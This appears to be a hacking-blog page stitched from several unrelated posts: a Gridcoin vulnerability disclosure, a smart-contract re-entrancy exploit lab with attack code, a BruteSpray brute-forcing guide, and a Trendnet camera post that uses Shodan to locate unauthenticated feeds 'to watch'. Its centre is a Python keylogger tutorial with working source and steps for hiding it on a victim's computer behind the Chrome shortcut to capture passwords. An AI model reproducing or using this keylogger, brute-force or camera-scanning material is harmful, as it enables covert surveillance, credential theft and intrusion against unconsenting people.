Gridcoin - The Bad

In this post we will show why Gridcoin is insecure and probably will never achieve better security. Therefore, we are going to explain two critical implementation vulnerabilities and our experience with the core developer in the process of the responsible disclosure. 

In our last blog post we described the Gridcoin architecture and the design vulnerability we found and fixed (the good). Now we come to the process of responsibly disclosing our findings and try to fix the two implementation vulnerabilities (the bad).

Update (15.08.2017):
After the talk at WOOT'17 serveral other developers of Gridcoin quickly reached out to us and told us that there was a change in responsibility internally in the Gridcoin-Dev team. Thus, we are going to wait for their response and then change this blog post accordingly. So stay tuned :)

Update (16.08.2017):
We are currently in touch with the whole dev team of Gridcoin and it seems that they are going to fix the vulnerabilities with the next release.


TL;DR
The whole Gridcoin currency is seriously insecure against attacks and should not be trusted anymore; unless some developers are in place, which have a profound background in protocol and application security.

What is Gridcoin?

Gridcoin is an altcoin, which is in active development since 2013. It claims to provide a high sustainability, as it has very low energy requirements in comparison to Bitcoin. It rewards users for contributing computation power to scientific projects, published on the BOINC project platform. Although Gridcoin is not as widespread as Bitcoin, its draft is very appealing as it attempts to  eliminate Bitcoin's core problems. It possesses a market capitalization of $13,530,738 as of August the 4th 2017 and its users contributed approximately 5% of the total scientific BOINC work done before October 2016.

A detailed description of the Gridcoin architecture and technical terms used in this blog post are explained in our last blog post.

The Issues

Currently there are 2 implementation vulnerabilities in the source code, and we can mount the following attacks against Gridcoin:

1. We can steal the block creation reward from many Gridcoin minters
2. We can efficiently prevent many Gridcoin minters from claiming their block creation reward (DoS attack)

So why do we not just open up an issue online explaining the problems?

Because we already fixed a critical design issue in Gridcoin last year and tried to help them to fix the new issues. Unfortunately, they do not seem to have an interest in securing Gridcoin and thus leave us no other choice than fully disclosing the findings.

In order to explain the vulnerabilities we will take a look at the current Gridcoin source code (version 3.5.9.8).

WARNING: Due to the high number of source code lines in the source files, it can take a while until your browser shows the right line.

Stealing the BOINC block reward

The developer implemented our countermeasures in order to prevent our attack from the last blog post. Unfortunately, they did not look at their implementation from an attacker's perspective. Otherwise, they would have found out that they conduct not check, if the signature over the last block hash really is done over the last block hash. But we come to that in a minute. First lets take a look at the code flow:

In the figure the called-by-graph can be seen for the function VerifyCPIDSignature.

1. CheckBlock → DeserializeBoincBlock [Source]
• Here we deserialize the BOINC data structure from the first transaction
2. CheckBlock → IsCPIDValidv2 [Source]
• Then we call a function to verify the CPID used in the block. Due to the massive changes over the last years, there are 3 possible verify functions. We are interested in the last one (VerifyCPIDSignature), for the reason that it is the current verification function.
3. IsCPIDValidv2 → VerifyCPIDSignature [Source]
4. VerifyCPIDSignature → CheckMessageSignature [Source, Source]

In the last function the real signature verification is conducted [Source]. When we closely take a look at the function parameter, we see the message (std::string sMsg)  and the signature (std::string sSig) variables, which are checked. But where does this values come from?

If we go backwards in the function call graph we see that in VerifyCPIDSignature the sMsg is the string sConcatMessage, which is a concatenation of the sCPID and the sBlockHash.
We are interested where the sBlockHash value comes from, due to the fact that this one is the only changing value in the signature generation.
When we go backwards, we see that the value originate from the deserialization of the BOINC structure (MiningCPID& mc) and is the variable mc.lastblockhash [Source, Source]. But wait a second, is this value ever checked whether it contains the real last block hash?

No, it is not....

So they just look if the stored values there end up in a valid signature.

Thus, we just need to wait for one valid block from a researcher and copy the signature, the last block hash value, the CPID and adjust every other dynamic value, like the RAC. Consequently, we are able to claim the reward of other BOINC users. This simple bug allows us again to steal the reward of every Gridcoin researcher, like there was never a countermeasure.

Lock out Gridcoin researcher
The following vulnerability allows an attacker under specific circumstances to register a key pair for a CPID, even if the CPID was previously tied to another key pair. Thus, the attacker locks out a legit researcher and prevent him from claiming BOINC reward in his minted blocks.

Reminder: A beacon is valid for 5 months, afterwards a new beacon must be sent with the same public key and CPID.

Therefore, we need to take a look at the functions, which process the beacon information. Every time there is a block, which contains beacon information, it is processed the following way (click image for higher resolution):

In the figure the called-by-graph can be seen for the function GetBeaconPublicKey.

We now show the source code path:

• ProcessBlock → CheckBlock [Source]
• CheckBlock → LoadAdminMessages [Source]
• LoadAdminMessages → MemorizeMessages [Source]
• MemorizeMessages → GetBeaconPublicKey [Source]

In the last function GetBeaconPublicKey there are different paths to process a beacon depending on the public key, the CPID, and the time since both were associated to each other.
For the following explanation we assume that we have an existing association (bound) between a CPID A and a public key pubK_A for 4 months.

1. First public key for a CPID received [Source]
• The initial situation, when pubK_A was sent and bind to CPID  A (4 months ago)
2. Existing public key for a CPID was sent [Source]
• The case that pubK_A was resent for a CPID A, before the 5 months are passed by
3. Other public key for a CPID was sent [Source]
• The case, if a different public key pubK_B for the CPID A was sent via beacon.
4. The existing public key for the CPID is expired
• After 5 months a refresh for the association between A and pubK_A is required.

When an incoming beacon is processed, a look up is made, if there already exists a public key for the CPID used in the beacon. If yes, it is compared to the public key used in the beacon (case 2 and 3).
If no public key exists (case 1) the new public key is bound to the CPID.

If a public key exists, but it was not refreshed directly 12.960.000 seconds (5 months [Source]) after the last beacon advertisement of the public key and CPID, it is handled as no public key would exist [Source].

Thus, case 1 and 4 are treated identical, if the public key is expired, allowing an attacker to register his public key for an arbitrary CPID with expired public key. In practice this allows an attacker to lock out a Gridcoin user from the minting process of new blocks and further allows the attacker to claim reward for BOINC work he never did.

There is a countermeasure, which allows a user to delete his last beacon (identified by the CPID) . Therefore, the user sends 1 GRC to a special address (SAuJGrxn724SVmpYNxb8gsi3tDgnFhTES9) from an GRC address associated to this CPID [Source]. We did not look into this mechanism in more detail, because it only can be used to remove our attack beacon, but does not prevent the attack.

The responsible disclosure process

As part of our work as researchers we all have had the pleasure to responsible disclose the findings to developer or companies.

For the reasons that we wanted to give the developer some time to fix the design vulnerabilities, described in the last blog post, we did not issue a ticket at the Gridcoin Github project. Instead we contacted the developer at September the 14th 2016 via email and got a response one day later (2016/09/15). They proposed a variation of our countermeasure and dropped the signature in the advertising beacon, which would result in further security issues. We sent another email (2016/09/15) explained to them, why it is not wise to change our countermeasures and drop the signature in the advertising beacon.
Unfortunately, we did not receive a response. We tried it again on October the 31th 2016. They again did not respond, but we saw in the source code that they made some promising changes. Due to some other projects we did not look into the code until May 2017. At this point we found the two implementation vulnerabilities. We contacted the developer twice via email (5th and 16th of May 2017) again, but never received a response. Thus, we decided to wait for the WOOT notification to pass by and then fully disclose the findings. We thus have no other choice then to say that:

The whole Gridcoin cryptocurrency is seriously insecure against attacks and should not be trusted anymore; unless some developers are in place, which have a profound background in protocol and application security.

Further Reading

A more detailed description of the Gridcoin architecture, the old design issue and the fix will be presented at WOOT'17. Some days after the conference the paper will be available online.

More info

1. Hacking Page
2. Hacking Online Games
3. Pentest Guide
4. Pentest Companies
5. Pentest Vs Red Team
6. Pentest Jobs
7. Hacking Games
8. Hacking Site
9. Pentest Questions
10. Pentestmonkey
11. Pentest Enumeration
12. Pentest Plus
13. What Hacking Is
14. Hacker Wifi Password

Blockchain Exploitation Labs - Part 1 Smart Contract Re-Entrancy

Why/What Blockchain Exploitation?

In this blog series we will analyze blockchain vulnerabilities and exploit them ourselves in various lab and development environments. If you would like to stay up to date on new posts follow and subscribe to the following:
Twitter: @ficti0n

Youtube: https://www.youtube.com/c/ConsoleCowboys
URL: http://cclabs.io
          http://consolecowboys.com

As of late I have been un-naturally obsessed with blockchains and crypto currency. With that obsession comes the normal curiosity of "How do I hack this and steal all the monies?"

However, as usual I could not find any actual walk thorough or solid examples of actually exploiting real code live. Just theory and half way explained examples.

That question with labs is exactly what we are going to cover in this series, starting with the topic title above of Re-Entrancy attacks which allow an attacker to siphon out all of the money held within a smart contract, far beyond that of their own contribution to the contract.

This will be a lab based series and I will show you how to use demo the code within various test environments and local environments in order to perform and re-create each attacks for yourself.  

Note: As usual this is live ongoing research and info will be released as it is coded and exploited.

If you are bored of reading already and just want to watch videos for this info or are only here for the demos and labs check out the first set of videos in the series at the link below and skip to the relevant parts for you, otherwise lets get into it:

Background Info:

This is a bit of a harder topic to write about considering most of my audience are hackers not Ethereum developers or blockchain architects. So you may not know what a smart contract is nor how it is situated within the blockchain development model. So I am going to cover a little bit of context to help with understanding.  I will cover the bare minimum needed as an attacker.

A Standard Application Model:

• In client server we generally have the following:
• Front End - what the user sees (HTML Etc)
• Server Side - code that handles business logic
• Back End - Your database for example MySQL

A Decentralized Application Model:

Now with a Decentralized applications (DAPP) on the blockchain you have similar front end server side technology however

• Smart contracts are your access into the blockchain.
• Your smart contract is kind of like an API
• Essentially DAPPs are Ethereum enabled applications using smart contracts as an API to the blockchain data ledger
• DAPPs can be banking applications, wallets, video games etc.

A blockchain is a trust-less peer to peer decentralized database or ledger

The back-end is distributed across thousands of nodes in its entirety on each node. Meaning every single node has a Full "database" of information called a ledger.  The second difference is that this ledger is immutable, meaning once data goes in, data cannot be changed. This will come into play later in this discussion about smart contracts.

Consensus:

The blockchain of these decentralized ledgers is synchronized by a consensus mechanism you may be familiar with called "mining" or more accurately, proof of work or optionally Proof of stake.

Proof of stake is simply staking large sums of coins which are at risk of loss if one were to perform a malicious action while helping to perform consensus of data.   

Much like proof of stake, proof of work(mining) validates hashing calculations to come to a consensus but instead of loss of coins there is a loss of energy, which costs money, without reward if malicious actions were to take place.

Each block contains transactions from the transaction pool combined with a nonce that meets the difficulty requirements.  Once a block is found and accepted it places them on the blockchain in which more then half of the network must reach a consensus on. 

The point is that no central authority controls the nodes or can shut them down. Instead there is consensus from all nodes using either proof of work or proof of stake. They are spread across the whole world leaving a single centralized jurisdiction as an impossibility.

Things to Note: 

First Note: Immutability

• So, the thing to note is that our smart contracts are located on the blockchain
• And the blockchain is immutable
• This means an Agile development model is not going to work once a contract is deployed.
• This means that updates to contracts is next to impossible
• All you can really do is createa kill-switch or fail safe functions to disable and execute some actions if something goes wrong before going permanently dormant.
• If you don't include a kill switch the contract is open and available and you can't remove it

Second Note:  Code Is Open Source

• Smart Contracts are generally open source
• Which means people like ourselves are manually bug hunting smart contracts and running static analysis tools against smart contract code looking for bugs.

When issues are found the only course of action is:

• Kill the current contract which stays on the blockchain
• Then deploy a whole new version.
• If there is no killSwitch the contract will be available forever.

Now I know what you're thinking, these things are ripe for exploitation.

And you would be correct based on the 3rd note

Third Note: Security in the development process is lacking

• Many contracts and projects do not even think about and SDLC.
• They rarely add penetration testing and vulnerability testing in the development stages if at all
• At best there is a bug bounty before the release of their main-nets
• Which usually get hacked to hell and delayed because of it.
• Things are getting better but they are still behind the curve, as the technology is new and blockchain mostly developers and marketers.  Not hackers or security testers.

Forth Note:  Potential Data Exposure via Future Broken Crypto

• If sensitive data is placed on the blockchain it is there forever
• Which means that if a cryptographic algorithm is broken anything which is encrypted with that algorithm is now accessible
• We all know that algorithms are eventually broken!
• So its always advisable to keep sensitive data hashed for integrity on the blockchain but not actually stored on the blockchain directly

 Exploitation of Re-Entrancy Vulnerabilities:

With a bit of the background out of the way let's get into the first attack in this series.

Re-Entrancy attacks allow an attacker to create a re-cursive loop within a contract by having the contract call the target function rather than a single request from a  user. Instead the request comes from the attackers contract which does not let the target contracts execution complete until the tasks intended by the attacker are complete. Usually this task will be draining the money out of the contract until all of the money for every user is in the attackers account.

Example Scenario:

Let's say that you are using a bank and you have deposited 100 dollars into your bank account.  Now when you withdraw your money from your bank account the bank account first sends you 100 dollars before updating your account balance.

Well what if when you received your 100 dollars, it was sent to malicious code that called the withdraw function again not letting  the initial target deduct your balance ?

With this scenario you could then request 100 dollars, then request 100 again and you now have 200 dollars sent to you from the bank. But 50% of that money is not yours. It's from the whole collection of money that the bank is tasked to maintain for its accounts.

Ok that's pretty cool, but what if that was in a re-cursive loop that did not BREAK until all accounts at the bank were empty?  

That is Re-Entrancy in a nutshell.   So let's look at some code.

Example Target Code:

           function withdraw(uint withdrawAmount) public returns (uint) {

       

1.         require(withdrawAmount <= balances[msg.sender]);

2.         require(msg.sender.call.value(withdrawAmount)());

3.          balances[msg.sender] -= withdrawAmount;

4.          return balances[msg.sender];

        }

Line 1: Checks that you are only withdrawing the amount you have in your account or sends back an error.

Line 2: Sends your requested amount to the address the requested that withdrawal.

Line 3: Deducts the amount you withdrew from your account from your total balance.

Line 4. Simply returns your current balance.

Ok this all seems logical.. however the issue is in Line 2 - Line 3.   The balance is being sent back to you before the balance is deducted. So if you were to call this from a piece of code which just accepts anything which is sent to it, but then re-calls the withdraw function you have a problem as it never gets to Line 3 which deducts the balance from your total. This means that Line 1 will always have enough money to keep withdrawing.

Let's take a look at how we would do that:

Example Attacking Code:

          function attack() public payable {

1.           bankAddress.withdraw(amount);

         }

2.    function () public payable {

         

3.            if (address(bankAddress).balance >= amount) {

4.               bankAddress.withdraw(amount);

                }

}

Line 1: This function is calling the banks withdraw function with an amount less than the total in your account

Line 2: This second function is something called a fallback function. This function is used to accept payments that come into the contract when no function is specified. You will notice this function does not have a name but is set to payable.

Line 3:  This line is checking that the target accounts balance is greater than the amount being withdrawn.

Line 4:  Then again calling the withdraw function to continue the loop which will in turn be sent back to the fallback function and repeat lines over and over until the target contracts balance is less than the amount being requested.

Review the diagram above which shows the code paths between the target and attacking code. During this whole process the first code example from the withdraw function is only ever getting to lines 1-2 until the bank is drained of money. It never actually deducts your requested amount until the end when the full contract balance is lower then your withdraw amount. At this point it's too late and there is no money left in the contract.

Setting up a Lab Environment and coding your Attack:

Hopefully that all made sense. If you watch the videos associated with this blog you will see it all in action.  We will now analyze code of a simple smart contract banking application. We will interface with this contract via our own smart contract we code manually and turn into an exploit to take advantage of the vulnerability.

Download the target code from the following link:

https://github.com/cclabsInc/BlockChainExploitation

Then lets open up an online ethereum development platform at the following link where we will begin analyzing and exploiting smart contracts in real time in the video below:

https://remix.ethereum.org

Coding your Exploit and Interfacing with a Contract Programmatically:

The rest of this blog will continue in the video below where we will  manually code an interface to a full smart contract and write an exploit to take advantage of a Re-Entrency Vulnerability:

 

Conclusion: 

In this smart contract exploit writing intro we showed a vulnerability that allowed for re entry to a contract in a recursive loop. We then manually created an exploit to take advantage of the vulnerability. This is just the beginning, as this series progresses you will see other types of vulnerabilities and have the ability to code and exploit them yourself.  On this journey through the decentralized world you will learn how to code and craft exploits in solidity using various development environments and test nets.

More info

1. Pentest Active Directory
2. Pentest Windows
3. Pentest Tools
4. Pentest Guide
5. Pentest Box
6. Pentest Iso
7. Hacker Attack
8. What Hacking Is
9. Pentest Windows
10. Hacker Website
11. Hacking Site

How To Make A Simple And Powerful Keylogger Using Python

A keylogger is a computer program which can be written using any computer programming language such as c++ when you install it on a Victim system it can keep the records of every keystroke in a text file. Keylogger is mainly used to steal confidential data such as passwords, credit card numbers etc.

How to make a python keylogger?

A keylogger can be programmed using any programming language such as c++, java, c# e.tc. For this tutorial, I will use python to make a keylogger, because python is flexible, powerful and simple to understand even a non-programmer can use python to make a keylogger.

Requirements to create a python keylogger

• Computer With Operating system: Windows, Mac os or Linux
• Python must be installed on the system
• Pip (Python index package ) you will need this to install python software packages.
• Pypiwin32 and PyHook packages
• Basic understanding of computers

You will learn to install these things one by one. If you have already installed and configured the python development kit feel free to skip Part 1.

Part 1: Downloading Python and pip, setting up the environment to create the keylogger.Step 1:

Download python development kit by clicking here.

Choose python 2.7 because I am using this version. It is ok if you have a different version of python this method will work on every version of python.

Step 2:

Installation of python is pretty simple.Open the python setup file, Mark the checkboxes Very important else you have to set the python path manually, and click on Install Now.

Step 3:

You need Pypiwin32 and PyHook python packages to create python keylogger. To install these packages you need pip, you can install Pypiwin32 and PyHook without using pip which is not recommended.

To download pip go to https://pip.pypa.io/en/stable/installing/ and Save link as by right clicking on get-pip.py. when the download is done, just run the get-pip.py file.

Now you need to set the Variable path for pip to do this right click on the computer icon and choose properties.

Now click on the Advanced system settings

Choose Environment Variables.

Choose New, Set the Variable name: PATH and Variable value as C:\Python27\Scripts

Click on ok.

Part 2: Installing Pypiwin32 and PyHook python Packages using pip:

Open Command Prompt(CMD) and type: pip installs Pypiwin32 press the Enter Key, wait for the installation to complete. After the Pypiwin32 package installation type: pip install PyHook press the Enter Key and wait for the installation to complete.When done close the Command Prompt.

Part 3: Creating and testing the python keylogger:

Now you have configured your environment and installed all the necessary packages, let's start creating the keylogger. Click on the start menu and scroll down until you find Python 2.7, run python IDLE(GUI) by clicking on it.

Go to the File, from the drop-down menu choose New file.

Python Keylogger source code:

Copy these lines of code and paste into the new file. Modify the directory in the second line of code to your own location e.g 'C:\test\log.txt' this will create a folder named test in C save the log.txt file there when the Keylogger start.

import pyHook, pythoncom, sys, logging

file_log='F:\\test\\log.txt'

def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True

hooks_manager=pyHook.HookManager()

hooks_manager.KeyDown=onKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

Save your file as a test.pyw at any location you want, the .pyw extension is very important because of it the python keylogger will run in the background without notifying the user.

The Python Keylogger is now completed you can test it out by opening it and typing some text in your browser, go to the log.txt file which is in the F:\test\log.txt on my PC. You will find your log.txt file in C:\test\log.txt.But what if you want to test it on someone else computer? you want to run it without the user knowing that it has been launched, this can be done by attaching it to the program that the victim always uses such as Google Chrome.

Let's make the python keylogger auto-launchable by attaching it the Google Chrome.

Copy the following code and paste into notepad. Save it by giving .bat extension e.g launch.bat in a hidden location, e.g c:\test\launch.bat

Now right click on the google chrome desktop shortcut icon and click on properties. You will see a field called Target. Change the target field to the batch file launch.bat directory that you created. let's say you have saved your launch.bat file in a test folder in C, Then change the target field with "C:\test\launch.bat". Now, whenever the user opens chrome the keylogger will run automatically.

Continue reading

• How To Pentest A Website With Kali
• Hacking Browser
• Pentest Blog
• Hacking With Raspberry Pi
• Hacking Names
• Pentest Xss
• Pentest Software
• Pentest Basics
• Hacking Page
• Hacking Typer

RECONNAISSANCE IN ETHICAL HACKING

What is reconnaissance in ethical hacking?
This is the primary phase of hacking where the hacker tries to collect as much information as possible about the target.It includes identifying the target ip address range,network,domain,mail server records etc.

They are of two types-
Active Reconnaissance 
Passive Reconnaissance 

1-Active Reconnaissance-It the process from which we directly interact with the computer system to gain information. This information can be relevant and accurate but there is a risk of getting detected if you are planning active reconnaissance without permission.if you are detected then the administration will take the severe action action against you it may be jail!

Passive Reconnaissance-In this process you will not be directly connected to a computer system.This process is used to gather essential information without ever interacting with the target system.

Related articles

• Hacking Health
• Hacking Box
• Hacking Lab
• Pentest Iso
• Hacking Groups
• Hacker Code

PHoss: A Password Sniffer

"PHoss is a sniffer. A normal sniffer software is designed to find problems in data communication on the network. PHoss is designed to know some protocols which use (or may use) clear text passwords. Many protocols are designed to use secure authentication. For fallback they define a lowest level of authentication using clear text. Many companies use this lowest fallback definition as standard setting to make the product working in many environments." read more...

Download: http://www.phenoelit-us.org/phoss/download.html

More info

1. Pentest With Metasploit
2. Pentesting Tools
3. Hacking Lab
4. Pentest Aws
5. Hacker On Computer
6. Pentest Companies
7. Hacker Kevin Mitnick
8. Pentest Dns Server
9. What Hacking Is
10. Hacker On Computer

BruteSpray: A Brute-forcer From Nmap Output And Automatically Attempts Default Creds On Found Services

About BruteSpray: BruteSpray takes nmap GNMAP/XML output or newline seperated JSONS and automatically brute-forces services with default credentials using Medusa. BruteSpray can even find non-standard ports by using the -sV inside Nmap.

BruteSpay's Installation

   With Debian users, the only thing you need to do is this command:
sudo apt install brutespray

   For Arch Linux user, you must install Medusa first: sudo pacman -S medusa

   And then, enter these commands to install BruteSpray:

Supported Services: ssh, ftp, telnet, vnc, mssql, mysql, postgresql, rsh, imap, nntpp, canywhere, pop3, rexec, rlogin, smbnt, smtp, svn, vmauthdv, snmp.

How to use BruteSpray?

   First do an Nmap scan with -oG nmap.gnmap or -oX nmap.xml.
   Command: python3 brutespray.py -h
   Command: python3 brutespray.py --file nmap.gnmap
   Command: python3 brutesrpay.py --file nmap.xml
   Command: python3 brutespray.py --file nmap.xml -i

   You can watch more details here:

Examples

   Using Custom Wordlists:
python3 brutespray.py --file nmap.gnmap -U /usr/share/wordlist/user.txt -P /usr/share/wordlist/pass.txt --threads 5 --hosts 5

   Brute-Forcing Specific Services:
python3 brutespray.py --file nmap.gnmap --service ftp,ssh,telnet --threads 5 --hosts 5

   Specific Credentials:
python3 brutespray.py --file nmap.gnmap -u admin -p password --threads 5 --hosts 5

   Continue After Success:
python3 brutespray.py --file nmap.gnmap --threads 5 --hosts 5 -c

   Use Nmap XML Output:
python3 brutespray.py --file nmap.xml --threads 5 --hosts 5

   Use JSON Output:
python3 brutespray.py --file out.json --threads 5 --hosts 5

   Interactive Mode: python3 brutespray.py --file nmap.xml -i

Data Specs
{"host":"127.0.0.1","port":"3306","service":"mysql"}
{"host":"127.0.0.10","port":"3306","service":"mysql"}
...

Changelog: Changelog notes are available at CHANGELOG.md.

You might like these similar tools:

• BruteDum: Brute Force attacks SSH, FTP, Telnet, PostgreSQL, RDP, VNC with Hydra, Medusa and Ncrack
• FTPBruter: A FTP Server Brute forcing tool written in Python 3
• Blazy - Crack Website Logins in seconds with Bruteforce attacks
• SocialBox: A Bruteforce Attack Framework for Social Networks
• Ncrack: An High-speed Open-source Network cracking tool
• Medusa: A Speedy, Parallel And Modular Login Brute-forcing Tool

Download BruteSpray

More articles

1. Hacker Software
2. Pentest Keys
3. Pentest Bootcamp
4. Hackerrank
5. Pentest Tutorial
6. Pentest Devices
7. Hacker Ethic
8. Hacking With Raspberry Pi
9. Hacker Videos
10. Hacker News
11. Hackerx
12. Pentest Os
13. Pentest Active Directory
14. Pentest Nmap
15. Hacker

Trendnet Cameras - I Always Feel Like Somebody'S Watching Me.

Firstly this post requires the following song to be playing.

http://www.youtube.com/watch?v=wVfjwIyc-CU

Now that we got that out of the way... I have been seeing posts on sites with people having fun with embedded systems/devices and I was feeling left out. I didn't really want to go out and buy a device so I looked at what was laying around. 

Enter the Trendnet TV-IP110w - http://www.trendnet.com/products/proddetail.asp?prod=145_TV-IP110W

To start off the latest firmware for this device can be found at the following location :

http://downloads.trendnet.com/tv-ip110w/firmware/FW_TV-IP110W_A1.x(1.1.0.104).zip

First order of business was to update the camera with the most recent firmware:

Device info page confirming firmware version

Now that the device was using the same version of firmware as I was going to dive into, lets get to work. I will be using binwalk to fingerprint file headers that exist inside the firmware file. Binwalk can be downloaded from the following url: http://code.google.com/p/binwalk/

Running binwalk against the firmware file 

binwalk FW_TV-IP110W_1.1.0-104_20110325_r1006.pck 
DECIMAL   HEX       DESCRIPTION
-------------------------------------------------------------------------------------------------------
32320     0x7E40     gzip compressed data, from Unix, last modified: Thu Mar 24 22:59:08 2011, max compression
679136     0xA5CE0   gzip compressed data, was "rootfs", from Unix, last modified: Thu Mar 24 22:59:09 2011, max compression

Looks like there are two gzip files in the "pck" file. Lets carve them out using 'dd'. First cut the head off the file and save it off as '1_unk'

#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=1_unk bs=1 count=32320
32320+0 records in
32320+0 records out
32320 bytes (32 kB) copied, 0.167867 s, 193 kB/s

Next cut out the first gzip file that was identified, we will call this file '2'

#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=2 bs=1 skip=32320 count=646816
646816+0 records in
646816+0 records out
646816 bytes (647 kB) copied, 2.87656 s, 225 kB/s

Finally cut the last part of the file out that was identified as being a gzip file, call this file '3'

#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=3 bs=1 skip=679136
2008256+0 records in
2008256+0 records out
2008256 bytes (2.0 MB) copied, 8.84203 s, 227 kB/s

For this post I am going to ignore files '1_unk' and '2' and just concentrate on file '3' as it contains an interesting bug :) Make a copy of the file '3' and extract it using gunzip

#file 3
3: gzip compressed data, was "rootfs", from Unix, last modified: Thu Mar 24 22:59:09 2011, max compression
#cp 3 3z.gz
#gunzip 3z.gz
gzip: 3z.gz: decompression OK, trailing garbage ignored
#file 3z
3z: Minix filesystem, 30 char names

As we can see the file '3' was a compressed Minix file system. Lets mount it and take a look around.

#mkdir cameraFS
#sudo mount -o loop -t minix 3z cameraFS/
#cd cameraFS/
#ls
bin  dev  etc  lib  linuxrc  mnt  proc  sbin  server  tmp  usr  var

There is all sorts of interesting stuff in the "/server" directory but we are going to zero in on a specific directory "/server/cgi-bin/anony/"

#cd server/cgi-bin/anony/
#ls
jpgview.htm  mjpeg.cgi  mjpg.cgi  view2.cgi

The "cgi-bin" directory is mapped to the root directory of http server of the camera, knowing this we can make a request to http://192.168.1.17/anony/mjpg.cgi and surprisingly we get a live stream from the camera. 

video stream. giving no fucks.

Now at first I am thinking, well the directory is named "anony" that means anonymous so this must be something that is enabled in the settings that we can disable.... Looking at the configuration screen you can see where users can be configured to access the camera. The following screen shows the users I have configured (user, guest)

Users configured with passwords.

Still after setting up users with passwords the camera is more than happy to let me view its video stream by making our previous request. There does not appear to be a way to disable access to the video stream, I can't really believe this is something that is intended by the manufacturer. Lets see who is out there :)

Because the web server requires authentication to access it (normally) we can use this information to fingerprint the camera easily. We can use the realm of 'netcam' to conduct our searches 

HTTP Auth with 'netcam' realm

Hopping on over to Shodan (http://www.shodanhq.com) we can search for 'netcam' and see if there is anyone out there for us to watch

9,500 results

If we check a few we can see this is limited to only those results with the realm of 'netcam' and not 'Netcam'

creepy hole in the wall

front doors to some business

Doing this manually is boring and tedious, wouldn't it be great if we could automagically walk through all 9,500 results and log the 'good' hosts.... http://consolecowboys.org/scripts/camscan.py

This python script requires the shodan api libs http://docs.shodanhq.com/ and an API key. It will crawl the shodan results and check if the device is vulnerable and log it. The only caveat here is that the shodan api.py file needs to be edited to allow for including result page offsets. I have highlighted the required changes below.

    def search(self, query,page=1):
        """Search the SHODAN database.
     
        Arguments:
        query    -- search query; identical syntax to the website
        page     -- page number of results      

        Returns:
        A dictionary with 3 main items: matches, countries and total.
        Visit the website for more detailed information.
     
        """
        return self._request('search', {'q': query,'page':page})

Last I ran this there was something like 350 vulnerable devices that were available via shodan. Enjoy.

Update: We are in no way associated with the @TRENDnetExposed twitter account.

More info

• Pentest Kit
• Hackintosh
• Pentest Enumeration
• Pentest
• Hacking Software
• Pentest Questions
• Pentest Dns
• Hacking Bluetooth
• Hacker Types